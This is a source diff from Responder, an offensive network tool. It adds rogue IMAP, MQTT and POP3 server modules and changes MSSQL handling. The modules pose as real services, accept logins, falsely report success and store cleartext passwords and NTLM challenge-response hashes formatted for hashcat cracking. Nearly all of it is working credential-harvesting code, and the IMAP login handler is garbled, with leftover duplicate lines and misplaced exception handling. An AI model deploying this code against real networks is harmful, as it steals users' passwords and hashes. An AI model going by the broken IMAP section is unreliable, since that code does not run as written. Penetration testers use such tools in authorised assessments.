# Send greeting
self.request.send(NetworkSendBufferPython2or3(IMAPGreeting()))
data = self.request.recv(1024)
if data[5:15] == b'CAPABILITY':
RequestTag = data[0:4]
self.request.send(NetworkSendBufferPython2or3(IMAPCapability()))
self.request.send(NetworkSendBufferPython2or3(IMAPCapabilityEnd(Tag=RequestTag.decode("latin-1"))))
# Main loop to handle multiple commands
while True:
data = self.request.recv(1024)
if data[5:10] == b'LOGIN':
Credentials = data[10:].strip().decode("latin-1").split('"')
if not data:
break
# Handle CAPABILITY command
if b'CAPABILITY' in data.upper():
RequestTag = self.extract_tag(data)
self.request.send(NetworkSendBufferPython2or3(IMAPCapability()))
self.request.send(NetworkSendBufferPython2or3(IMAPCapabilityEnd(Tag=RequestTag)))
continue
# Handle LOGIN command
if b'LOGIN' in data.upper():
success = self.handle_login(data)
if success:
break
continue
# Handle AUTHENTICATE PLAIN
if b'AUTHENTICATE PLAIN' in data.upper():
success = self.handle_authenticate_plain(data)
if success:
break
continue
# Handle AUTHENTICATE LOGIN
if b'AUTHENTICATE LOGIN' in data.upper():
success = self.handle_authenticate_login(data)
if success:
break
continue
# Handle AUTHENTICATE NTLM
if b'AUTHENTICATE NTLM' in data.upper():
success = self.handle_authenticate_ntlm(data)
if success:
break
continue
# Handle LOGOUT
if b'LOGOUT' in data.upper():
RequestTag = self.extract_tag(data)
response = "* BYE IMAP4 server logging out\r\n"
response += "%s OK LOGOUT completed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
break
# Unknown command - send error
RequestTag = self.extract_tag(data)
response = "%s BAD Command not recognized\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
except Exception as e:
if settings.Config.Verbose:
print(text('[IMAP] Exception: %s' % str(e)))
pass
def extract_tag(self, data):
"""Extract IMAP command tag (e.g., 'A001' from 'A001 LOGIN ...')"""
try:
parts = data.decode('latin-1', errors='ignore').split()
if parts:
return parts[0]
except:
pass
return "A001"
def handle_login(self, data):
"""
Handle LOGIN command
Format: TAG LOGIN username password
Credentials can be quoted or unquoted
"""
try:
RequestTag = self.extract_tag(data)
# Decode the data
data_str = data.decode('latin-1', errors='ignore').strip()
# Remove tag and LOGIN command
# Pattern: TAG LOGIN credentials
login_match = re.search(r'LOGIN\s+(.+)', data_str, re.IGNORECASE)
if not login_match:
response = "%s BAD LOGIN command syntax error\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
credentials_part = login_match.group(1).strip()
# Parse credentials - can be quoted or unquoted
username, password = self.parse_credentials(credentials_part)
if username and password:
# Save credentials
SaveToDb({
'module': 'IMAP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': Credentials[1],
'cleartext': Credentials[3],
'fullhash': Credentials[1]+":"+Credentials[3],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
except Exception:
pass
if settings.Config.Verbose:
print(text('[IMAP] LOGIN captured: %s:%s from %s' % (
username, password, self.client_address[0])))
# Send success but then close
response = "%s OK LOGIN completed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return True
else:
# Invalid credentials format
response = "%s BAD LOGIN credentials format error\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
except Exception as e:
return False
def parse_credentials(self, creds_str):
"""
Parse username and password from LOGIN command
Supports: "user" "pass", user pass, {5}user {8}password (literal strings)
"""
try:
# Method 1: Quoted strings "user" "pass"
quoted_match = re.findall(r'"([^"]*)"', creds_str)
if len(quoted_match) >= 2:
return quoted_match[0], quoted_match[1]
# Method 2: Space-separated (unquoted)
parts = creds_str.split()
if len(parts) >= 2:
# Remove any curly brace literals {5}
user = re.sub(r'^\{\d+\}', '', parts[0])
passwd = re.sub(r'^\{\d+\}', '', parts[1])
return user, passwd
return None, None
except:
return None, None
def handle_authenticate_plain(self, data):
"""
Handle AUTHENTICATE PLAIN command
Can be single-line or multi-line
"""
try:
RequestTag = self.extract_tag(data)
# Check if credentials are on the same line
data_str = data.decode('latin-1', errors='ignore').strip()
plain_match = re.search(r'AUTHENTICATE\s+PLAIN\s+(.+)', data_str, re.IGNORECASE)
if plain_match:
# Single-line format: TAG AUTHENTICATE PLAIN <base64>
b64_creds = plain_match.group(1).strip()
else:
# Multi-line format: TAG AUTHENTICATE PLAIN
# Server sends: +
# Client sends: <base64>
response = "+\r\n"
self.request.send(NetworkSendBufferPython2or3(response))
# Get base64 credentials
cred_data = self.request.recv(1024)
if not cred_data:
return False
b64_creds = cred_data.decode('latin-1', errors='ignore').strip()
# Decode base64 credentials
# Format: \0username\0password or username\0username\0password
try:
decoded = base64.b64decode(b64_creds).decode('latin-1', errors='ignore')
parts = decoded.split('\x00')
# Skip first part if it's authorization identity (usually empty)
if len(parts) >= 3:
username = parts[1]
password = parts[2]
elif len(parts) >= 2:
username = parts[0]
password = parts[1]
else:
raise ValueError("Invalid PLAIN format")
if username and password:
# Save credentials
SaveToDb({
'module': 'IMAP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(text('[IMAP] AUTHENTICATE PLAIN captured: %s:%s from %s' % (
username, password, self.client_address[0])))
# Send success
response = "%s OK AUTHENTICATE completed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return True
except Exception as e:
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
except Exception as e:
return False
def handle_authenticate_login(self, data):
"""
Handle AUTHENTICATE LOGIN command
Server prompts for username, then password (both base64 encoded)
"""
try:
RequestTag = self.extract_tag(data)
# Prompt for username
response = "+ " + base64.b64encode(b"Username:").decode('latin-1') + "\r\n"
self.request.send(NetworkSendBufferPython2or3(response))
# Get username (base64 encoded)
user_data = self.request.recv(1024)
if not user_data:
return False
username_b64 = user_data.decode('latin-1', errors='ignore').strip()
username = base64.b64decode(username_b64).decode('latin-1', errors='ignore')
# Prompt for password
response = "+ " + base64.b64encode(b"Password:").decode('latin-1') + "\r\n"
self.request.send(NetworkSendBufferPython2or3(response))
# Get password (base64 encoded)
pass_data = self.request.recv(1024)
if not pass_data:
return False
password_b64 = pass_data.decode('latin-1', errors='ignore').strip()
password = base64.b64decode(password_b64).decode('latin-1', errors='ignore')
if username and password:
# Save credentials
SaveToDb({
'module': 'IMAP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(text('[IMAP] AUTHENTICATE LOGIN captured: %s:%s from %s' % (
username, password, self.client_address[0])))
# Send success
response = "%s OK AUTHENTICATE completed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return True
else:
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
except Exception as e:
return False
def handle_authenticate_ntlm(self, data):
"""
Handle AUTHENTICATE NTLM command
Implements NTLM challenge-response authentication
Captures NetNTLMv2 hashes
"""
try:
RequestTag = self.extract_tag(data)
# Send continuation to receive Type 1 message
response = "+\r\n"
self.request.send(NetworkSendBufferPython2or3(response))
# Receive Type 1 message (NTLM Negotiate)
type1_data = self.request.recv(2048)
if not type1_data:
return False
type1_b64 = type1_data.decode('latin-1', errors='ignore').strip()
try:
type1_msg = base64.b64decode(type1_b64)
except:
return False
# Generate Type 2 message (NTLM Challenge)
type2_msg = self.generate_ntlm_type2()
type2_b64 = base64.b64encode(type2_msg).decode('latin-1')
# Send Type 2 challenge
response = "+ %s\r\n" % type2_b64
self.request.send(NetworkSendBufferPython2or3(response))
# Receive Type 3 message (NTLM Authenticate)
type3_data = self.request.recv(4096)
if not type3_data:
return False
type3_b64 = type3_data.decode('latin-1', errors='ignore').strip()
# Check for cancellation (* means cancel)
if type3_b64 == '*' or type3_b64 == '':
if settings.Config.Verbose:
print(text('[IMAP] Client cancelled NTLM authentication'))
response = "%s NO AUTHENTICATE cancelled\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
# Check if response looks like base64
if not all(c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\r\n' for c in type3_b64):
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
try:
type3_msg = base64.b64decode(type3_b64)
except Exception as e:
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
# Parse Type 3 message and extract NetNTLMv2 hash
ntlm_hash = self.parse_ntlm_type3(type3_msg, type2_msg)
if ntlm_hash:
if settings.Config.Verbose:
print(text('[IMAP] NTLM hash captured: %s from %s' % (
ntlm_hash['user'], self.client_address[0])))
# Save to database
SaveToDb(ntlm_hash)
# Send success (even though auth "succeeded", connection will close)
response = "%s OK AUTHENTICATE completed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return True
else:
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
except Exception as e:
return False
def generate_ntlm_type2(self):
"""
Generate NTLM Type 2 (Challenge) message
Includes target name and target info for NTLMv2 compatibility
"""
import time
# Generate random 8-byte challenge
challenge = os.urandom(8)
# Store challenge for later verification (in practice, we don't verify)
self.ntlm_challenge = challenge
# Target name - use a generic domain name
# Encoding in UTF-16LE as required by NTLM
target_name = b'W\x00O\x00R\x00K\x00G\x00R\x00O\x00U\x00P\x00' # "WORKGROUP" in UTF-16LE
target_name_len = len(target_name)
# Build Target Info (AV pairs) for NTLMv2
# This is CRITICAL for Thunderbird and other strict NTLM implementations
target_info = b''
# AV_PAIR: MsvAvNbDomainName (0x0002)
domain_name = b'W\x00O\x00R\x00K\x00G\x00R\x00O\x00U\x00P\x00'
target_info += struct.pack('<HH', 0x0002, len(domain_name))
target_info += domain_name
# AV_PAIR: MsvAvNbComputerName (0x0001)
computer_name = b'S\x00E\x00R\x00V\x00E\x00R\x00' # "SERVER" in UTF-16LE
target_info += struct.pack('<HH', 0x0001, len(computer_name))
target_info += computer_name
# AV_PAIR: MsvAvDnsDomainName (0x0004)
dns_domain = b'w\x00o\x00r\x00k\x00g\x00r\x00o\x00u\x00p\x00' # "workgroup" in UTF-16LE
target_info += struct.pack('<HH', 0x0004, len(dns_domain))
target_info += dns_domain
# AV_PAIR: MsvAvDnsComputerName (0x0003)
dns_computer = b's\x00e\x00r\x00v\x00e\x00r\x00' # "server" in UTF-16LE
target_info += struct.pack('<HH', 0x0003, len(dns_computer))
target_info += dns_computer
# AV_PAIR: MsvAvTimestamp (0x0007) - Critical for NTLMv2!
# Windows FILETIME: 100-nanosecond intervals since Jan 1, 1601
timestamp = int((time.time() + 11644473600) * 10000000)
target_info += struct.pack('<HH', 0x0007, 8)
target_info += struct.pack('<Q', timestamp)
# AV_PAIR: MsvAvEOL (0x0000) - Terminator
target_info += struct.pack('<HH', 0x0000, 0)
target_info_len = len(target_info)
# Calculate offsets
target_name_offset = 48 # After fixed header
target_info_offset = target_name_offset + target_name_len
# Build Type 2 message structure
signature = b'NTLMSSP\x00'
msg_type = struct.pack('<I', 2) # Type 2
# Target name security buffer
target_name_fields = struct.pack('<HHI', target_name_len, target_name_len, target_name_offset)
# Flags - Use EXACT same as HTTP server (proven to work!)
# 0xa2810205 = NEGOTIATE_UNICODE (0x01) + REQUEST_TARGET (0x04) +
# NEGOTIATE_NTLM (0x200) + NEGOTIATE_EXTENDED_SESSIONSECURITY (0x10000) +
# NEGOTIATE_128 (0x20000000) + NEGOTIATE_56 (0x80000000)
# Critical: NEGOTIATE_128 and NEGOTIATE_56 are REQUIRED for proper NTLMv2!
# Note: HTTP does NOT set NEGOTIATE_TARGET_INFO flag
flags = b'\x05\x02\x81\xa2' # Same bytes as Responder HTTP server
# Context (reserved, 8 bytes of zeros)
context = b'\x00' * 8
# Target info security buffer
target_info_fields = struct.pack('<HHI', target_info_len, target_info_len, target_info_offset)
# Build complete message: header + target_name + target_info
type2_msg = (signature + msg_type + target_name_fields + flags +
challenge + context + target_info_fields + target_name + target_info)
return type2_msg
def parse_ntlm_type3(self, type3_msg, type2_msg):
"""
Parse NTLM Type 3 (Authenticate) message
Extract NetNTLMv2 hash in hashcat format
"""
try:
from binascii import hexlify
# Verify signature
if type3_msg[:8] != b'NTLMSSP\x00':
return None
# Verify message type
msg_type = struct.unpack('<I', type3_msg[8:12])[0]
if msg_type != 3:
return None
# Parse security buffers
# LM Response
lm_len, lm_maxlen, lm_offset = struct.unpack('<HHI', type3_msg[12:20])
# NTLM Response
ntlm_len, ntlm_maxlen, ntlm_offset = struct.unpack('<HHI', type3_msg[20:28])
# Domain name
domain_len, domain_maxlen, domain_offset = struct.unpack('<HHI', type3_msg[28:36])
# User name
user_len, user_maxlen, user_offset = struct.unpack('<HHI', type3_msg[36:44])
# Workstation name
ws_len, ws_maxlen, ws_offset = struct.unpack('<HHI', type3_msg[44:52])
# Extract fields
if user_offset + user_len <= len(type3_msg):
user = type3_msg[user_offset:user_offset+user_len].decode('utf-16le', errors='ignore')
else:
user = "unknown"
if domain_offset + domain_len <= len(type3_msg):
domain = type3_msg[domain_offset:domain_offset+domain_len].decode('utf-16le', errors='ignore')
else:
domain = ""
# DO NOT parse email addresses - hashcat needs exact Type 3 fields
# If username is "user@domain.com" and domain is "", that's what hashcat expects
if ws_offset + ws_len <= len(type3_msg):
workstation = type3_msg[ws_offset:ws_offset+ws_len].decode('utf-16le', errors='ignore')
else:
workstation = ""
# Extract NTLM response
if ntlm_offset + ntlm_len <= len(type3_msg):
ntlm_response = type3_msg[ntlm_offset:ntlm_offset+ntlm_len]
else:
return None
# Check if NTLMv2 (response length > 24 bytes)
if len(ntlm_response) > 24:
# NTLMv2
ntlmv2_response = ntlm_response[:16] # First 16 bytes
ntlmv2_blob = ntlm_response[16:] # Rest is the blob
# Extract challenge from Type 2
challenge = type2_msg[24:32] # Challenge is at offset 24
# Build hashcat NetNTLMv2 format
# Format: username::domain:challenge:ntlmv2_response:blob
# For hashcat mode 5600
hash_str = "%s::%s:%s:%s:%s" % (
user,
domain,
hexlify(challenge).decode(),
hexlify(ntlmv2_response).decode(),
hexlify(ntlmv2_blob).decode()
)
if settings.Config.Verbose:
print(text('[IMAP] NetNTLMv2 hash format (hashcat -m 5600)'))
return {
'module': 'IMAP',
'type': 'NetNTLMv2',
'client': self.client_address[0],
'user': user,
'domain': domain,
'hash': hash_str,
'fullhash': hash_str
}
else:
# NTLMv1
ntlm_hash = ntlm_response[:24]
# Extract challenge
challenge = type2_msg[24:32]
# Build hashcat NetNTLMv1 format
# Format: username::domain:lm_hash:ntlm_hash:challenge
# For hashcat mode 5500
# Extract LM response if present
if lm_offset + lm_len <= len(type3_msg) and lm_len == 24:
lm_hash = type3_msg[lm_offset:lm_offset+lm_len]
else:
lm_hash = b'\x00' * 24
hash_str = "%s::%s:%s:%s:%s" % (
user,
domain,
hexlify(lm_hash).decode(),
hexlify(ntlm_hash).decode(),
hexlify(challenge).decode()
)
if settings.Config.Verbose:
print(text('[IMAP] NetNTLMv1 hash format (hashcat -m 5500)'))
return {
'module': 'IMAP',
'type': 'NetNTLMv1',
'client': self.client_address[0],
'user': user,
'domain': domain,
'hash': hash_str,
'fullhash': hash_str
}
except Exception as e:
return None

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

205
servers/MQTT.py Normal file
View File

@@ -0,0 +1,205 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import settings, NetworkSendBufferPython2or3, SaveToDb
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import MQTTv3v4ResponsePacket, MQTTv5ResponsePacket
#Read N byte integer
def readInt(data, offset, numberOfBytes):
value = int.from_bytes(data[offset:offset+numberOfBytes], 'big')
offset += numberOfBytes
return (value, offset)
#Read binary data
def readBinaryData(data, offset):
#Read number of bytes
length, offset = readInt(data, offset, 2)
#Read bytes
value = data[offset:offset+length]
offset += length
return (value, offset)
#Same as readBinaryData() but without reading data
def skipBinaryDataString(data, offset):
length, offset = readInt(data, offset, 2)
offset += length
return offset
#Read UTF-8 encoded string
def readString(data, offset):
value, offset = readBinaryData(data, offset)
return (value.decode('utf-8'), offset)
#Read variable byte integer
#(https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901011)
def readVariableByteInteger(data, offset):
multiplier = 1
value = 0
while True:
encodedByte = data[offset]
offset += 1
value = (encodedByte & 127) * multiplier
if (multiplier > 128 * 128 * 128):
return None
multiplier *= 128
if(encodedByte & 128 == 0):
break
return (value, offset)
class MqttPacket:
USERNAME_FLAG = 0x80
PASSWORD_FLAG = 0x40
WILL_FLAG = 0x04
def __init__(self, data):
self.__isValid = True
controllPacketType, offset = readInt(data, 0, 1)
#check if CONNECT packet type
if controllPacketType != 0x10:
self.__isValid = False
return
#Remaining length
remainingLength, offset = readVariableByteInteger(data, offset)
#Protocol name
protocolName, offset = readString(data, offset)
#Check protocol name
if protocolName != "MQTT" and protocolName != "MQIsdp":
self.__isValid = False
return
#Check protocol version
self.__protocolVersion, offset = readInt(data, offset, 1)
#Read connect flag register
connectFlags, offset = readInt(data, offset, 1)
#Read keep alive (skip)
offset += 2
#MQTTv5 implements properties
if self.__protocolVersion > 4:
#Skip all properties
propertiesLength, offset = readVariableByteInteger(data, offset)
offset+=propertiesLength
#Get Client ID
self.clientId, offset = readString(data, offset)
if (self.clientId == ""):
self.clientId = "<Empty>"
#Skip Will
if (connectFlags & self.WILL_FLAG) > 0:
#MQTT v5 implements properties
if self.__protocolVersion > 4:
willProperties, offset = readVariableByteInteger(data, offset)
#Skip will properties
offset = skipBinaryDataString(data, offset)
offset = skipBinaryDataString(data, offset)
#Get Username
if (connectFlags & self.USERNAME_FLAG) > 0:
self.username, offset = readString(data, offset)
else:
self.username = "<Empty>"
#Get Password
if (connectFlags & self.PASSWORD_FLAG) > 0:
self.password, offset = readString(data, offset)
else:
self.password = "<Empty>"
def isValid(self):
return self.__isValid
def getProtocolVersion(self):
return self.__protocolVersion
def data(self, client):
return {
'module': 'MQTT',
'type': 'Cleartext',
'client': client,
'hostname': self.clientId,
'user': self.username,
'cleartext': self.password,
'fullhash': self.username + ':' + self.password
}
class MQTT(BaseRequestHandler):
def handle(self):
CONTROL_PACKET_TYPE_CONNECT = 0x10
try:
data = self.request.recv(2048)
#Read control packet type
controlPacketType, offset = readInt(data, 0, 1)
#Skip non CONNECT packets
if controlPacketType != CONTROL_PACKET_TYPE_CONNECT:
return
#Parse connect packet
packet = MqttPacket(data)
#Skip if it contains invalid data
if not packet.isValid():
#Return response
return
#Send response packet
if packet.getProtocolVersion() < 5:
responsePacket = MQTTv3v4ResponsePacket()
else:
responsePacket = MQTTv5ResponsePacket()
self.request.send(NetworkSendBufferPython2or3(responsePacket))
#Save to DB
SaveToDb(packet.data(self.client_address[0]))
except Exception:
self.request.close()
pass

View File

@@ -134,7 +134,7 @@ class MSSQL(BaseRequestHandler):
if not data:
break
if settings.Config.Verbose:
print(text("[MSSQL] Received connection from %s" % self.client_address[0]))
print(text("[MSSQL] Received connection from %s" % self.client_address[0].replace("::ffff:","")))
if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer())
self.request.send(NetworkSendBufferPython2or3(Buffer))
@@ -168,9 +168,9 @@ class MSSQLBrowser(BaseRequestHandler):
if data:
if data[0] in b'\x02\x03': # CLNT_BCAST_EX / CLNT_UCAST_EX
self.send_response(soc, "MSSQLSERVER")
elif data[0] == b'\x04': # CLNT_UCAST_INST
self.send_response(soc, data[1:].rstrip("\x00"))
elif data[0] == b'\x0F': # CLNT_UCAST_DAC
elif data[0:1] == b'\x04': # CLNT_UCAST_INST
self.send_response(soc, data[1:].rstrip(b"\x00"))
elif data[0:1] == b'\x0F': # CLNT_UCAST_DAC
self.send_dac_response(soc)
def send_response(self, soc, inst):

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -15,42 +15,440 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
import base64
import hashlib
import codecs
import struct
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import POPOKPacket,POPNotOKPacket
from packets import POPOKPacket, POPNotOKPacket
# POP3 Server class
class POP3(BaseRequestHandler):
"""POP3 server with multiple authentication methods"""
def __init__(self, *args, **kwargs):
self.challenge = None
self.username = None
BaseRequestHandler.__init__(self, *args, **kwargs)
def generate_challenge(self):
"""Generate challenge for APOP and CRAM-MD5"""
import time
import random
timestamp = int(time.time())
random_data = random.randint(1000, 9999)
# APOP format: <process-id.clock@hostname>
self.challenge = "<%d.%d@%s>" % (random_data, timestamp, settings.Config.MachineName)
return self.challenge
def send_packet(self, packet):
"""Send a packet to client"""
self.request.send(NetworkSendBufferPython2or3(packet))
def send_ok(self, message=""):
"""Send +OK response"""
if message:
response = "+OK %s\r\n" % message
else:
response = "+OK\r\n"
self.request.send(response.encode('latin-1'))
def send_err(self, message=""):
"""Send -ERR response"""
if message:
response = "-ERR %s\r\n" % message
else:
response = "-ERR\r\n"
self.request.send(response.encode('latin-1'))
def send_continue(self, data=""):
"""Send continuation (+) response for multi-line auth"""
if data:
response = "+ %s\r\n" % data
else:
response = "+\r\n"
self.request.send(response.encode('latin-1'))
def handle_apop(self, data):
"""Handle APOP authentication (MD5 challenge-response)"""
# APOP username digest
# digest is MD5(challenge + password)
try:
parts = data.strip().split(b' ', 2)
if len(parts) < 3:
return False
username = parts[1].decode('latin-1')
digest = parts[2].decode('latin-1').lower()
# Format for hashcat/john: username:$apop$challenge$digest
hash_string = "%s:$apop$%s$%s" % (username, self.challenge, digest)
SaveToDb({
'module': 'POP3',
'type': 'APOP',
'client': self.client_address[0],
'user': username,
'hash': digest,
'fullhash': hash_string,
})
if settings.Config.Verbose:
print(color("[*] [POP3] Captured APOP digest from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[POP3] Error parsing APOP: %s' % str(e)))
return False
def handle_auth_plain(self, data):
"""Handle AUTH PLAIN (base64 encoded username/password)"""
try:
# AUTH PLAIN can be sent as:
# AUTH PLAIN <base64>
# or
# AUTH PLAIN
# <base64>
if len(data.strip().split(b' ')) > 2:
# Inline format
auth_data = data.strip().split(b' ', 2)[2]
else:
# Need to read next line
self.send_continue()
auth_data = self.request.recv(1024).strip()
# Decode base64
decoded = base64.b64decode(auth_data)
# Format: [authzid]\x00username\x00password
parts = decoded.split(b'\x00')
if len(parts) >= 3:
username = parts[1].decode('latin-1', errors='ignore')
password = parts[2].decode('latin-1', errors='ignore')
elif len(parts) == 2:
username = parts[0].decode('latin-1', errors='ignore')
password = parts[1].decode('latin-1', errors='ignore')
else:
return False
SaveToDb({
'module': 'POP3',
'type': 'AUTH-PLAIN',
'client': self.client_address[0],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(color("[*] [POP3] Captured AUTH PLAIN credentials from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[POP3] Error parsing AUTH PLAIN: %s' % str(e)))
return False
def handle_auth_login(self, data):
"""Handle AUTH LOGIN (two-stage base64 authentication)"""
try:
# AUTH LOGIN is two-stage:
# Client: AUTH LOGIN
# Server: + VXNlcm5hbWU6 (base64 "Username:")
# Client: <base64 username>
# Server: + UGFzc3dvcmQ6 (base64 "Password:")
# Client: <base64 password>
# Send "Username:" prompt
self.send_continue(base64.b64encode(b"Username:").decode('latin-1'))
username_b64 = self.request.recv(1024).strip()
if not username_b64:
return False
username = base64.b64decode(username_b64).decode('latin-1', errors='ignore')
# Send "Password:" prompt
self.send_continue(base64.b64encode(b"Password:").decode('latin-1'))
password_b64 = self.request.recv(1024).strip()
if not password_b64:
return False
password = base64.b64decode(password_b64).decode('latin-1', errors='ignore')
SaveToDb({
'module': 'POP3',
'type': 'AUTH-LOGIN',
'client': self.client_address[0],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(color("[*] [POP3] Captured AUTH LOGIN credentials from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 2, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[POP3] Error parsing AUTH LOGIN: %s' % str(e)))
return False
def handle_auth_cram_md5(self, data):
"""Handle AUTH CRAM-MD5 (challenge-response)"""
try:
# Generate challenge
import time
challenge = "<%d.%d@%s>" % (os.getpid(), int(time.time()), settings.Config.MachineName)
challenge_b64 = base64.b64encode(challenge.encode('latin-1')).decode('latin-1')
# Send challenge
self.send_continue(challenge_b64)
# Receive response
response_b64 = self.request.recv(1024).strip()
if not response_b64:
return False
response = base64.b64decode(response_b64).decode('latin-1', errors='ignore')
# Response format: username<space>digest
parts = response.split(' ', 1)
if len(parts) < 2:
return False
username = parts[0]
digest = parts[1].lower()
# Format for hashcat: $cram_md5$challenge$digest$username
hash_string = "%s:$cram_md5$%s$%s" % (username, challenge, digest)
SaveToDb({
'module': 'POP3',
'type': 'CRAM-MD5',
'client': self.client_address[0],
'user': username,
'hash': digest,
'fullhash': hash_string,
})
if settings.Config.Verbose:
print(color("[*] [POP3] Captured CRAM-MD5 hash from %s for user %s" % (
self.client_address[0].replace("::ffff:", ""), username), 3, 1))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[POP3] Error parsing CRAM-MD5: %s' % str(e)))
return False
def handle_ntlm_auth(self, data):
"""Handle NTLM authentication"""
try:
# Check for NTLMSSP NEGOTIATE
if b'NTLMSSP\x00\x01' in data:
# Generate NTLM challenge
challenge = RandomChallenge()
# Build NTLMSSP CHALLENGE
ntlm_challenge = b'NTLMSSP\x00'
ntlm_challenge += struct.pack('<I', 2) # Type 2
ntlm_challenge += struct.pack('<HHI', 0, 0, 0) # Target name
ntlm_challenge += struct.pack('<I', 0x00008201) # Flags
ntlm_challenge += challenge # Server challenge
ntlm_challenge += b'\x00' * 8 # Reserved
ntlm_challenge += struct.pack('<HHI', 0, 0, 0) # Target info
# Send challenge (base64 encoded in continuation)
challenge_b64 = base64.b64encode(ntlm_challenge).decode('latin-1')
self.send_continue(challenge_b64)
# Receive NTLMSSP AUTH
auth_b64 = self.request.recv(2048).strip()
if not auth_b64 or auth_b64 == b'*':
return False
auth_data = base64.b64decode(auth_b64)
# Parse NTLMSSP AUTH
if auth_data[0:8] != b'NTLMSSP\x00':
return False
msg_type = struct.unpack('<I', auth_data[8:12])[0]
if msg_type != 3:
return False
# Parse fields
lm_len = struct.unpack('<H', auth_data[12:14])[0]
lm_offset = struct.unpack('<I', auth_data[16:20])[0]
ntlm_len = struct.unpack('<H', auth_data[20:22])[0]
ntlm_offset = struct.unpack('<I', auth_data[24:28])[0]
domain_len = struct.unpack('<H', auth_data[28:30])[0]
domain_offset = struct.unpack('<I', auth_data[32:36])[0]
user_len = struct.unpack('<H', auth_data[36:38])[0]
user_offset = struct.unpack('<I', auth_data[40:44])[0]
# Extract data
username = auth_data[user_offset:user_offset+user_len].decode('utf-16-le', errors='ignore')
domain = auth_data[domain_offset:domain_offset+domain_len].decode('utf-16-le', errors='ignore')
lm_hash = auth_data[lm_offset:lm_offset+lm_len]
ntlm_hash = auth_data[ntlm_offset:ntlm_offset+ntlm_len]
# Determine version
if ntlm_len == 24:
hash_type = "NTLMv1"
hash_string = "%s::%s:%s:%s:%s" % (
username, domain,
codecs.encode(lm_hash, 'hex').decode('latin-1'),
codecs.encode(ntlm_hash, 'hex').decode('latin-1'),
codecs.encode(challenge, 'hex').decode('latin-1')
)
elif ntlm_len > 24:
hash_type = "NTLMv2"
hash_string = "%s::%s:%s:%s:%s" % (
username, domain,
codecs.encode(challenge, 'hex').decode('latin-1'),
codecs.encode(ntlm_hash[:16], 'hex').decode('latin-1'),
codecs.encode(ntlm_hash[16:], 'hex').decode('latin-1')
)
else:
return False
SaveToDb({
'module': 'POP3',
'type': hash_type + '-SSP',
'client': self.client_address[0],
'user': domain + '\\' + username,
'hash': codecs.encode(ntlm_hash, 'hex').decode('latin-1'),
'fullhash': hash_string,
})
if settings.Config.Verbose:
print(color("[*] [POP3] Captured %s hash from %s for user %s\\%s" % (
hash_type, self.client_address[0].replace("::ffff:", ""), domain, username), 3, 1))
return True
return False
except Exception as e:
if settings.Config.Verbose:
print(text('[POP3] Error parsing NTLM: %s' % str(e)))
return False
def SendPacketAndRead(self):
"""Send OK packet and read response"""
Packet = POPOKPacket()
self.request.send(NetworkSendBufferPython2or3(Packet))
return self.request.recv(1024)
def handle(self):
try:
data = self.SendPacketAndRead()
if data[0:4] == b'CAPA':
